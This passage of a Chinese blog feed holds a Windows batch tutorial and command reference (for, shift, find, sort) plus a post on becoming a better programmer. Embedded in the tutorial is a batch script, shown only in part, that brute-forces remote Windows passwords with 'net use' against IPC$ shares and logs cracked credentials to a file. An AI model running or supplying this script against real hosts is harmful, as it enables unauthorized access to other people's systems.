给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二：<br>例二十一：<br>@echo off<br>dir a.ttt /a &amp; dir a.txt || exit<br>例二十二：<br>@echo off<br>dir a.ttt /a &amp;&amp; dir a.txt || exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程："简明批处理教程"，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? &gt; a.txt &amp; start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将下列代码存为bat文件<br>1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名<br>2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 密码破解出来之后，存放于c:\pass.txt文件里面。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将下列代码存为pass.bat文件<br>@echo off<br>echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt<br>echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt<br>date /t &gt;&gt;c:\pass.txt<br>time /t &gt;&gt;c:\pass.txt<br>echo 破解结果： &gt;&gt;c:\pass.txt<br>if "%6"=="1" goto 大棒槌是我的说2<br>:大棒槌是我的说1<br>start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3<br>goto quit<br>:大棒槌是我的说2<br>start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5<br>:quit<br>将下列代码存为test.bat<br>net use \\%1\ipc$ %2 /user:"%3"<br>goto answer%ERRORLEVEL%<br>rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2<br>:answer0<br>echo 远程主机："%1" &gt;&gt;c:\pass.txt<br>echo 用 户："%3" &gt;&gt;c:\pass.txt<br>echo 密 码：%2 &gt;&gt;c:\pass.txt<br>net use \\%1\ipc$ /delet<br>exit<br>:answer2</p><p style="font-size: 14px; line-height: 22px; ">For<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 对一组文件中的每个文件运行指定的命令。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以在批处理程序中或直接从命令提示符使用 for 命令。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 要在批处理程序中使用 for 命令，请使用以下语法：<br>for %%variable in (set) docommand [command-parameters]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 要在命令提示符下使用 for，请使用以下语法：<br>for %variable in (set) do command [command-parameters]<br>参数<br>%%variable 或 %variable<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 commandparameters中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。<br>(set)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。<br>command<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定要在指定的 set 所包含的每个文件上执行的命令。<br>command-parameters<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。<br>For 命令的其他形式<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果启用了命令扩展，将支持如下 for 命令的其他格式：<br>只限于目录<br>for /D [%% | %]variable in (set) docommand [command-parameters]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。<br>递归<br>for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。<br>迭代<br>for /L [%% | %]variable in (start，step，end) do command [command-parameters]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。<br>文件解析<br>for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]<br>for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]<br>for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]<br>或者，如果出现 usebackq 选项：<br>for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]<br>for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]<br>for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]<br>filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前，每个文件都会被打开、读取和处理。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值（或多个值）集合调用 for 循环体。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。<br>跳过空行。通过指定可选的"options"参数可以覆盖默认的解析行为。这是一个引用字符串，它包含一个或多个关键字以指定不同的解析选项。<br>关键字是：<br>关键字 说明<br>eol=c 指定行尾注释字符（只一个字符）<br>skip=n 指定在文件的开头跳过的行数。<br>delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。<br>tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围，指定从 mth 到 nth 的令牌。如<br>果在令牌 = 字符串中最后一个字符是星号，则将分配附加的变量，并在解析最后一个令牌后在行上接收剩余的文本。<br>usebackq 指定将右引号字符串作为命令执行，单引号字符串是文字字符串命令，您可以使用双引号包括 filenameset 中的文件名。<br>变量替换<br>此外，已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法（对于任何变量 I）：<br>变量（使用修改程序） 说明<br>%~I 展开删除了周围的任何引号 (") 的 %I<br>%~fI 将 %I 展开到完全合格的路径名<br>%~dI 只将 %I 展开到驱动器号<br>%~pI 只将 %I 展开到路径<br>%~nI 只将 %I 展开到文件名<br>%~xI 只将 %I 展开到文件扩展名<br>%~sI 展开路径以只包含短名称<br>%~aI 将 %I 展开到文件的文件属性<br>%~tI 将 %I 展开到文件的日期/时间<br>%~zI 将 %I 展开到文件大小<br>%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名，或搜索后没有找到文件，则此修改程序将扩展为空字符串。<br>修改程序可以合并以获得复杂的结果：<br>变量（使用合并的修改程序） 说明<br>%~dpI 只将 %I 展开到驱动器号和路径<br>%~nxI 只将 %I 展开到文件名和扩展名<br>%~fsI 将 %I 展开到只包含短名称的完整路径名<br>%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I，并展开到第一个找到结果的驱动器号和路径<br>%~ftzaI 将 %I 扩展到与 dir 相似的输出行<br>注意<br>在上述范例中，%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。<br>使用大写变量名（例如 %I）可以使代码更具可读性，并且避免与不区分大小写的修改程序混淆。</p><p style="font-size: 14px; line-height: 22px; ">Shift<br>更改批处理文件中可替换参数的位置。<br>shift<br>启用命令扩展（Windows 2000 中的默认设置）后，shift 命令支持 /n 开关，该开关通知命令在第 n 个参数处开始更改，n 可以是从 0 到 8 的任何一个值。例如，<br>SHIFT /2<br>将 %3 改为 %2，将 %4 改为 %3 等等，而 %0 和 %1 保持不变。<br>筛选器命令<br>筛选器命令可以帮助您排序、查看和选择部分命令输出结果。<br>通过筛选器命令传递信息<br>筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令：<br>more 命令每次显示一屏文件内容或命令输出。<br>find 命令在文件和命令输出中搜索指定字符。<br>sort 命令按字母顺序排列文件和命令输出。<br>要将输入从文件发送到筛选器命令，请使用小于符号 (&lt;)。如果要筛选器命令从其他命令获得输入，请使用管道 (|)。<br>使用 more 命令来控制屏幕显示<br>more 命令每次一屏地显示文件的内容或命令输出。例如，下面的 more 命令每次显示一屏 List.txt 文件的内容：<br>more &lt; list.txt<br>信息显示一屏后，会出现字"More"。要继续显示下一屏，请按键盘上任意键。要停止命令且不查看详细信息，请按 CTRL+C 键。<br>如果使用产生多屏输出的命令，more 将十分有用。例如，假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来，请使用带管道号 (|) 和 more 命令的 tree 命令，如下例所示：<br>tree c:\ | more<br>tree 命令的第一屏输出被显示，后跟词"More"。Windows 2000 暂停，直到用户按键盘上的任意键为止（PAUSE 键除外）。<br>使用 find 命令搜索文本<br>find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准<br>的 Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息，请单击"相关主题"列表中的 find。<br>要将 find 当作筛选器命令使用，请包含小于符号 (&lt;) 和搜索的文件名。当输入文件名时，请记住搜索要区分大小写。例如，下面的命令查找文件 Trade.txt 中所有的"Pacific Rim"字符串：<br>find "Pacific Rim" &lt; trade.txt<br>要保存 find 命令的输出而不是显示输出，请使用大于号 (&gt;) 和要存储输出的文件名。例如，下面的命令查找文件 Trade.txt 中所有的<br>"Pacific Rim"字符串，并将结果保存在 Nwtrade.txt 文件中：<br>find "Pacific Rim" &lt; trade.txt &gt; nwtrade.txt<br>对文本文件排序<br>sort 命令按字母顺序排列文本文件或命令的输出。例如，可以使用以下命令对 List.txt 文件的内容进行排序，并在屏幕上显示结果：<br>sort &lt; list.txt<br>在此范例中，sort 命令对 List.txt 文件的行进行排序并显示结果，但不更改文件。要保存 sort 命令的输出而不是显示输出，请在命令中包含大于号 (&gt;) 和文件名。例如，可以使用以下命令对 List.txt 文件的行按字母顺序排序，并将结果存到 Alphlist.txt 文件中：<br>sort &lt; list.txt &gt; alphlist.txt<br>要排序命令的输出，请键入后面带有管道 (|) 和 sort 命令的命令。例如，下面的命令对 find 命令的输出结果进行排序：<br>find "Jones" maillst.txt | sort<br>在键入该命令时，Windows 2000 按字母顺序列出在其中出现"Jones"的行。<br>带重定向符的合并命令<br>可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如，可以使用以下命令存储包含"LOG"字符串的文件名:<br>dir /b | find "LOG" &gt; loglist.txt<br>Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串"Log"的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表（如，A.log、Logdat.svd 和 Mylog.bat）。<br>要在相同命令中使用多个筛选器，请使用管道 (|) 分隔筛选器。例如，下面的命令搜索 C 盘上的每个目录以查找包含"Log"字符串的文件名，并且每次显示一屏：<br>dir c:\ /s /b | find "LOG" | more<br>因为使用管道 (|)，Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串"Log"的文件名。more 命令每次一屏地显示 find 命令选择的文件名。</p><p style="font-size: 14px; line-height: 22px; ">More<br>每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令，或者使用它控制其他命令的输出，例如 type 命令。当显示填充可用的查看区域时将出现 more 提示，用户可以输入许多命令来控制查看文件其余部分的方式。<br>command name | more [/c] [/p] [/s] [/tn] [+n]<br>more [[/c] [/p] [/s] [/tn] [+n]] &lt; [drive:][path] filename<br>more [/c] [/p] [/s] [/tn] [+n] [files]<br>参数<br>[drive:][path] filename<br>指定要显示的文件。<br>command name<br>指定将显示其输出的命令。<br>/c<br>显示页面前清除屏幕。<br>/p<br>扩展换页符。<br>/s<br>将多个空白行更改为一个空白行。<br>/tn<br>将制表位更改为 n 个空格<br>+n<br>显示由 n 指定的行开始的第一个文件。<br>files<br>指定要显示的文件列表。用空格分隔文件名。<br>More 子命令<br>以下命令在 more 提示 (-- More --) 下接受。<br>关键字 操作<br>space 显示下一页。<br>ENTER 显示下一行。<br>F 显示下一个文件。<br>q 退出。<br>? 显示可用命令。<br>= 显示行号。<br>P n 显示以下 n 行。<br>S n 跳过下面 n 行。</p><p style="font-size: 14px; line-height: 22px; ">Find<br>在一个文件或多个文件中搜索指定的文本字符串。<br>当搜索到指定的文件后，find 将显示出包含指定字符串的所有行。<br>find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]<br>参数<br>/v<br>显示未包含指定字符串的所有行。<br>/c<br>只显示包含指定字符串的行数。<br>/n<br>将文件行号置于每行开头。<br>/I<br>指定搜索不区分大小写。<br>"string"<br>指定要搜索的字符组。必须将 string 的文本包括在引号中。<br>[drive:][path] filename<br>指定要在其中搜索指定字符串的文件的位置和名称。</p><p style="font-size: 14px; line-height: 22px; ">Sort<br>读取输入、排序数据并将结果写到屏幕、文件和其他设备上。<br>sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o [drive3:]<br>[path3]filename3]<br>[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters] [[drive1:][path1]filename1] [/t [drive2:]<br>[path2]] [/o [drive3:][path3]filename3]<br>参数<br>/r<br>颠倒排序顺序，即从 Z 到 A 排序，然后从 9 到 0 排序。<br>/+n<br>指定字符位置号 n，sort 在此处开始每次比较。例如，/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下，比较在每行的第一个字符开始。<br>/m kilobytes<br>指定用于排序的主内存数量，按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小，则无论有多少主内存可用，指定的确切数量（但至少 160 KB）的内存将用于排序。<br>如果输入输出均为文件，在没有指定大小时，默认最大内存大小为可用主内存的 90％，否则为主内存的 45％。默认设置通常会产生最佳的性能。<br>/l locale<br>替代由系统默认区域设置定义的字符排序顺序；即在安装 Windows 2000 时选择的语言和"国家（地区）"。目前，默认区域设置唯一的备用选项就是"C"区域设置，该区域设置比自然语言排序快，根据二进制编码对字符排序。<br>/rec characters<br>指定记录或输入文件的行中的最多字符数（默认值为 4096，最大值为 65535）。<br>[drive1:][path1]filename1<br>指定要排序的文件。如果没有指定文件名，则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。<br>/t [drive2:][path2]<br>指定保留 sort 命令工作存储的目录路径，防止数据不能装入主内存。默认为使用系统临时目录。<br>/o [drive3:][path3]filename3<br>指定要存储排序后的输入的文件。如果没有指定，数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快!</p><p style="font-size: 14px; line-height: 22px; "><br></p><p style="font-size: 14px; line-height: 22px; ">转自：<span style="line-height: normal; font-size: medium; "><a href="http://www.5dmail.net/html/2005-10-17/20051017181702.htm">http://www.5dmail.net/html/2005-10-17/20051017181702.htm</a></span></p>
<img src ="http://www.cppblog.com/flyinghare/aggbug/138119.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2011-01-07 16:59 <a href="http://www.cppblog.com/flyinghare/archive/2011/01/07/138119.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>五个方法成为更好的程序员</title><link>http://www.cppblog.com/flyinghare/archive/2010/09/12/126458.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Sun, 12 Sep 2010 07:11:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2010/09/12/126458.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/126458.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2010/09/12/126458.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/126458.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/126458.html</trackback:ping><description><![CDATA[<meta charset="utf-8"><span  style="color: rgb(73, 73, 73); font-family: simsun; font-size: 14px; line-height: 21px; "><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; "><br class="Apple-interchange-newline">转自：http://blog.sina.com.cn/s/blog_682dc7810100kytu.html</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">对我来说，一个好的程序员的定义应该是渴望更少错误的代码。 一些人也许认为好的程序员是那些懂得多门编程语言，懂得很牛技术的程序员，是的，这在某些情况下是对的。但归根到底，无论你用什么样的技术，什么样的语 言，所有的程序被写出来，其功能都要尽可能地没有错误。 如果一个能力普通的程序员有足够多的时间来做测试和发布程序，那么，其所有的代码都会是没有错误的。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">但是，很明显，所有的已经开发出来项目都是在不完美的条件下开发出来的，一般来说，几乎所有的项目都是在压榨程序员去尽可能地达到最大化软件产品成 果。而且，软件工业界对于深度测试和压力测试并不关心，所以，我们总是期望那些赶工出来的代码可以正常工作。 下面是是五个程序员可以在这种不完美的情况下做得更好的观点（它们都和语言和技术没什么关系，只不过是一种你的工作行为，能够和所有的行业相通）</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><ol style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; "><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: decimal; list-style-position: initial; list-style-image: initial; "><span style="word-wrap: normal; word-break: normal; line-height: 21px; font-weight: normal; "><strong style="font-weight: bold; "><strong style="font-weight: bold; ">寻找不同观点：</strong>程 序员好像并不喜欢技术上有异见的人，他们特别喜欢争论各自的技术观点。但是，他们忽略了不同观点的价值。任何事情都有好有坏，我们应该学会在不同观点中学 习和平衡。这样才会更多的了解编程和技术。要经常在做事之前问自己和别人，这么做对不对？做完事后问自己，还可不可以改进？努力去寻找别一个观点。程序员 应该经常上网，经常和同事讨论不同的实现方法，不同的技术观点，这样才能取长补短。然而，在实际工作中，我发现程序员们并不喜欢互相请教，因为请教的人怕 别人看不起他，而被请教的人总是先贬低对方的能力，哎&#8230;&#8230;（参看《<a rel="bookmark" href="http://coolshell.cn/?p=1081" target="_blank" style="text-decoration: none; color: rgb(125, 109, 92); ">十个让你变成糟糕的程序员的行为</a>》）， 如果有这样的文化氛围的话，那也没有关系。上网吧，网上的人谁也不认识谁，可以尽情地问一些愚蠢的问题。呵呵。总之，一定要明白，如果某些事情只有一个观 点，那么你一定要怀疑一下了，没有观点和技术方案的比较，没有百花齐放的情况，你就无法知道是否还有更好的东西。真正的和谐不是只有一种声音，真正的和谐 而是在不同的观点声音下取长补短，百家争鸣（参看《<a rel="bookmark" href="http://coolshell.cn/?p=2424" target="_blank" style="text-decoration: none; color: rgb(125, 109, 92); ">十条不错的编程观点</a>》）。否则，你永远都不会接受到新的观点，也就无法进步和成长了。</strong></span></li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: decimal; list-style-position: initial; list-style-image: initial; "><span style="word-wrap: normal; word-break: normal; line-height: 21px; font-weight: normal; "><strong style="font-weight: bold; "><strong style="font-weight: bold; ">千万别信自己的代码</strong>: 在任何时候，一定要高度怀疑自己的代码。很多时候，错误总是自己造成的。所以，当出现问题的时候，要学会review代码中所有的可疑点，千万别觉得某段 代码很简单，可以略过。事实证明，很多疏忽大意都是在阴沟里翻的船，都是那些很低级的错误。在查错的过程中，切忌过早下结论，切忌四处乱改（参看《<a rel="bookmark" href="http://coolshell.cn/?p=2058" target="_blank" style="text-decoration: none; color: rgb(125, 109, 92); ">各种流行的编程风格</a>》）， 停下来，想一想，会是哪儿的代码有重大嫌疑，然后查看一下代码，捋一捋程序的逻辑，调试并验证一下程序的逻辑和变量在运行时是否是正确的。很多时候，对于 那些难缠的问题，最后解决了总是因为我们开始认真回头审视所有的代码。只有对自己的代码保持着高度的怀疑，这样我们才会想着如何让其运行得更好更稳定，也 会让我们在单元测试中下更多的功夫，这样才能更能在那忙碌的环境中节省时间。相信我，在集成测试中fix bug的成本要比在单元测试Fix bug的成本大得多的多。一个简单的例子就是memory leak。程序员对自己的程序需要有忧患意识，这样才会越来越成熟，而自己的能力也会越来越强。</strong></span></li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: decimal; list-style-position: initial; list-style-image: initial; "><span style="word-wrap: normal; word-break: normal; line-height: 21px; font-weight: normal; "><strong style="font-weight: bold; "><strong style="font-weight: bold; ">思考和放松</strong>: 做事前多想一想，这样做事的时候就不会不顾此失彼，手忙脚乱，一旦事情一乱，你的心情也会更乱，于是，事情也就会更乱。最后，你只得重写，这种事情太多 了。而且，在工作中要学会享受，要学会放松心情，我并不是让你工作的时候聊QQ，我只是说，有时候，心态过于紧张，压力过大，你的工作成果反而更不好，从 而又反过来造成新一轮的焦虑和紧张。我个人认为，<strong style="font-weight: bold; ">思考和放松是可以完美统一的</strong>，思考其实就是一种放松，停下来，休息一 下，回头看看走过的路，喝口水，登个高，看看过去走的对不对？总体是个什么样？总结一下，然后看看前路怎么样好走，这会你才会越走越好，越走越快。好的程 序员都不是那种埋头苦干的人，好的程序员总是那些善于总结成败得失，善于思考，善于调整，善于放松的人（参看《<a href="http://coolshell.cn/?p=222" target="_blank" style="text-decoration: none; color: rgb(125, 109, 92); ">优秀程序员的十个习惯</a>》）。不然，我能看到的情形是，你很快地把事干完，回到家刚坐下来，老板或是客户就打电话来告诉你你的程序出问题了。总之，深思熟虑，动作会很慢，但是你可以保证你工作成果的质量，反而能让你更多的节约时间。</strong></span></li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: decimal; list-style-position: initial; list-style-image: initial; "><span style="word-wrap: normal; word-break: normal; line-height: 21px; font-weight: normal; "><strong style="font-weight: bold; "><strong style="font-weight: bold; ">学习历史，跟上时代</strong>: 如果你是从十年前开始编程的，那么，今天的这门语言或是技术会有很多很多的改进和改善。你以前开发一个功能或函数，今天早已被集成时了语言中，而且做得比 你的版本要好得多。以前你需要100行代码完成的事情，今天只需要1行代码。这样的事情在未来还会发生，所以，今天的你一定要学会如何跟上时代。但是，你 也不要放弃历史，我现在看到很多程序员对一些现代的语言和技术使用的非常好，他们可以很容易地跟上时代。但不要忘了，计算机世界的技术更新和技术淘汰也是 非常猛的。所以，你一定要学习历史，这些历史不是产商的历史，而是整个计算机文化的历史（参见《<a rel="bookmark" href="http://coolshell.cn/?p=2322" target="_blank" style="text-decoration: none; color: rgb(125, 109, 92); ">Unix传奇</a>》）。只有通过历史，你才能明白历史上出现的问题，新技术出来的原因，这样才能够对今天的这些新的技术更了解，也才能明白明天的方向在哪里。学习历史和跟上时代都是相当重要的。使用新型的技术，停下来接受培训，可以让你工作得更快，更高效（参看《<a rel="bookmark" href="http://coolshell.cn/?p=511" target="_blank" style="text-decoration: none; color: rgb(125, 109, 92); ">未来五年程序员需要掌握的10项技能</a>》）。而学习和总结历史，才会让你在纷乱的世界中找到方向。</strong></span></li><li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 30px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: decimal; list-style-position: initial; list-style-image: initial; "><span style="word-wrap: normal; word-break: normal; line-height: 21px; font-weight: normal; "><strong style="font-weight: bold; "><strong style="font-weight: bold; ">积极推动测试活动</strong>: 只有测试才能保证软件可以正常工作，只有测试才能保证软件的质量。无论什么产品，都需要经过或多或少的测试。测试地充分的产品，你会发现其质理总是那么 好，测试的不充的产品，质量总是那么次。德系汽车，日系汽车质量怎么样，关键还是在于怎么去测试的，测试的是否充分。所以，在你开发软件的过程中，如果你 说你的程序写地好，质量高，那么请你拿出实实在在的测试报告。在整个软件开发过程中，做为一个好的程序员，你应该积极地在各个环节推动项目组进行测试活 动。不要以为技术需求阶段和设计阶段不需要测试，一样的，只要你要release什么，release的这个东西都需要进行测试。技术需求怎么做测试？用 户案例就是测试案例。在软件开发的整个过程中，保证产品质量有时候比实现需求更重要，尤其是那些非常重要甚至人命关天的产品。</strong></span></li></ol><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; list-style-type: none; list-style-position: initial; list-style-image: initial; word-wrap: normal; word-break: normal; line-height: 21px; ">&nbsp;<wbr></p><p style="margin-top: 0px; margin-right: 0px; 